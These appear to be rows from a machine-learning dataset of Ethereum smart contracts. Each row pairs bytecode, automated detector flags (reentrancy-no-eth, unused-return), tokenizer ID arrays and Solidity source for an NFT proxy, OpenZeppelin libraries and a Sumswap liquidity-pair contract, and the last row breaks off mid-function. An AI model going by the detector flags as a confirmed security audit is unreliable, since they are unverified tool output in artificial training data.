302190600190613cc1565b6000838152600960205260408120546008805493945090928490811061304957613049613db0565b90600052602060002001549050806008838154811061306a5761306a613db0565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806130a2576130a2613d9a565b6001900381819060005260206000200160009055905550505050565b60006130c9836119cb565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166131585760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610dbf565b6000818152600260205260409020546001600160a01b0316156131bd5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610dbf565b6131c960008383612ca8565b6001600160a01b03821660009081526003602052604081208054600192906131f2908490613c76565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6060612572848460008585843b6132a95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dbf565b600080866001600160a01b031685876040516132c591906138b0565b60006040518083038185875af1925050503d8060008114613302576040519150601f19603f3d011682016040523d82523d6000602084013e613307565b606091505b5091509150613317828286613322565b979650505050505050565b6060831561333157508161206c565b8251156133415782518084602001fd5b8160405162461bcd60e51b8152600401610dbf91906139cd565b82805461336790613d04565b90600052602060002090601f01602090048101928261338957600085556133cf565b82601f106133a25782800160ff198235161785556133cf565b828001600101855582156133cf579182015b828111156133cf5782358255916020019190600101906133b4565b506133db9291506134c4565b5090565b8280546133eb90613d04565b90600052602060002090601f01602090048101928261340d57600085556133cf565b82601f1061342657805160ff19168380011785556133cf565b828001600101855582156133cf579182015b828111156133cf578251825591602001919060010190613438565b508054600082559060005260206000209081019061247391906134c4565b8280548282559060005260206000209081019282156133cf579160200282015b828111156133cf5781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190613491565b5b808211156133db57600081556001016134c5565b600067ffffffffffffffff808411156134f4576134f4613dc6565b604051601f8501601f19908116603f0116810190828211818310171561351c5761351c613dc6565b8160405280935085815286868601111561353557600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561356157600080fd5b813561206c81613ddc565b6000806040838503121561357f57600080fd5b823561358a81613ddc565b9150602083013561359a81613ddc565b809150509250929050565b6000806000606084860312156135ba57600080fd5b83356135c581613ddc565b925060208401356135d581613ddc565b929592945050506040919091013590565b600080600080608085870312156135fc57600080fd5b843561360781613ddc565b9350602085013561361781613ddc565b925060408501359150606085013567ffffffffffffffff81111561363a57600080fd5b8501601f8101871361364b57600080fd5b61365a878235602084016134d9565b91505092959194509250565b6000806040838503121561367957600080fd5b823561368481613ddc565b9150602083013561359a81613df1565b600080604083850312156136a757600080fd5b82356136b281613ddc565b946020939093013593505050565b600080602083850312156136d357600080fd5b823567ffffffffffffffff808211156136eb57600080fd5b818501915085601f8301126136ff57600080fd5b81358181111561370e57600080fd5b8660208260051b850101111561372357600080fd5b60209290920196919550909350505050565b60006020828403121561374757600080fd5b813561206c81613df1565b60006020828403121561376457600080fd5b815161206c81613df1565b60006020828403121561378157600080fd5b813561206c81613dff565b60006020828403121561379e57600080fd5b815161206c81613dff565b600080602083850312156137bc57600080fd5b823567ffffffffffffffff808211156137d457600080fd5b818501915085601f8301126137e857600080fd5b8135818111156137f757600080fd5b86602082850101111561372357600080fd5b60006020828403121561381b57600080fd5b813567ffffffffffffffff81111561383257600080fd5b8201601f8101841361384357600080fd5b612572848235602084016134d9565b60006020828403121561386457600080fd5b5035919050565b60006020828403121561387d57600080fd5b5051919050565b6000815180845261389c816020860160208601613cd8565b601f01601f19169290920160200192915050565b600082516138c2818460208701613cd8565b9190910192915050565b6000845160206138df8285838a01613cd8565b8551918401916138f28184848a01613cd8565b8554920191600090600181811c908083168061390f57607f831692505b85831081141561392d57634e487b7160e01b85526022600452602485fd5b80801561394157600181146139525761397f565b60ff1985168852838801955061397f565b60008b81526020902060005b858110156139775781548a82015290840190880161395e565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906139c390830184613884565b9695505050505050565b60208152600061206c6020830184613884565b60208082526026908201527f426c696e642042756e6e696573204e46543a206d617820737570706c7920657860408201526518d95959195960d21b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526025908201527f426c696e642042756e6e696573204e46543a20636f6e74726163742069732070604082015264185d5cd95960da1b606082015260800190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b60208082526032908201527f426c696e642042756e6e696573204e46543a2045746865722076616c75652073604082015271195b9d081a5cc81b9bdd0818dbdc9c9958dd60721b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526030908201527f426c696e642042756e6e696573204e46543a20596f752063616e2774206d696e60408201526f7420736f206d75636820746f6b656e7360801b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115613c8957613c89613d6e565b500190565b600082613c9d57613c9d613d84565b500490565b6000816000190483118215151615613cbc57613cbc613d6e565b500290565b600082821015613cd357613cd3613d6e565b500390565b60005b83811015613cf3578181015183820152602001613cdb565b83811115611df95750506000910152565b600181811c90821680613d1857607f821691505b60208210811415613d3957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613d5357613d53613d6e565b5060010190565b600082613d6957613d69613d84565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461247357600080fd5b801515811461247357600080fd5b6001600160e01b03198116811461247357600080fdfea26469706673582212209bc7baf6d65b91ab6093ff7e5cd04a1d0d50d4d90aca4397ebb7c307b87826a764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 7959, 28311, 22610, 2546, 2620, 18827, 26187, 19961, 20952, 2050, 2620, 2475, 2063, 2575, 16048, 16068, 2629, 2094, 2692, 4402, 2581, 2620, 2050, 2475, 4783, 17788, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 14088, 2030, 25141, 1012, 2023, 2064, 2022, 2109, 1041, 1012, 1043, 1012, 2000, 2650, 1996, 2193, 1008, 1997, 3787, 1999, 1037, 12375, 1010, 15089, 9413, 2278, 2581, 17465, 8909, 2015, 1010, 2030, 10320, 5227, 8909, 2015, 1012, 1008, 1008, 2421, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,561
0x96feaf05ab5c8333c8fa7ef7612320435226b81b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: DRAWMAMA /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // ██████ ██████ █████ ██ ██ ███ ███ █████ ███ ███ █████ // // ██ ██ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██ ████ ████ ██ ██ // // ██ ██ ██████ ███████ ██ █ ██ ██ ████ ██ ███████ ██ ████ ██ ███████ // // ██ ██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ // // ██████ ██ ██ ██ ██ ███ ███ ██ ██ ██ ██ ██ ██ ██ ██ ██ // // // // // // ────────────────────────────────── // // ────────────██████████──────────── // // ────────███████████████████─────── // // ──────███████████████████████───── // // ────███████████████████████████─── // // ───█████████████▀────▀██████████── // // ──████████████▀────────▀█████████─ // // ─███████████▀────────────▀███████─ // // ─█████████▀────────────────▀██████ // // █████████▀──────────────────▀█████ // // ████████▀─────────────────────▀███ // // ██████▀────────────────────────███ // // █████──▄▀▀▀▀▀▀▀▄────▄▀▀▀▀▀▀▀▄──███ // // █████────▄▄▄▄▄────────▄▄▄▄▄────███ // // █████──▄▀───▄██▄────▄▀───▄██▄──███ // // ████████──▀▄───▀▀█▀────▀▄───▀▀█▀──██████ // // ████████████────▀▀▀▀▀────────▀▀▀▀▀────█████████ // // █████████████████████████████████████████████████████ // // ███████████████████████████████████████████████████████ // // █████████████████████████████████████████████████████ // // ██████████████████████████████████████████████████ // // █████████████████████████████████████████████ // // ████████████████████████████████████𝓜𝓢 // // // // // /////////////////////////////////////////////////////////////////////////////////////// contract MS is ERC721Creator { constructor() ERC721Creator("DRAWMAMA", "MS") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220e693435e040ca828168c4259c42b51e7c0fa4ff4ec9110ffcc545bc54270850664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 7959, 10354, 2692, 2629, 7875, 2629, 2278, 2620, 22394, 2509, 2278, 2620, 7011, 2581, 12879, 2581, 2575, 12521, 16703, 2692, 23777, 25746, 23833, 2497, 2620, 2487, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 4009, 2863, 2863, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,562
0x96ff042f8c6757fce515d171f194b5816cafee11
pragma solidity >=0.5.0; interface ISumswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface ISumiswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } pragma solidity >=0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } pragma solidity >=0.5.0; interface IERC20Sumswap{ event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface ISumswapV2Callee { function sumswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } pragma solidity >=0.6.6; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMathSumswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } pragma solidity >=0.5.16; contract SumswapV2Pair is ISumiswapV2Pair { using SafeMathSumswap for uint; using UQ112x112 for uint224; string public override constant name = 'SummaSwap LP Token'; string public override constant symbol = 'SLP'; uint8 public override constant decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; bytes32 public override DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public override nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); uint public override constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public override factory; address public override token0; address public override token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public override price0CumulativeLast; uint public override price1CumulativeLast; uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'SumswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public override view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SumswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external virtual override { require(msg.sender == factory, 'SumswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'SumswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) 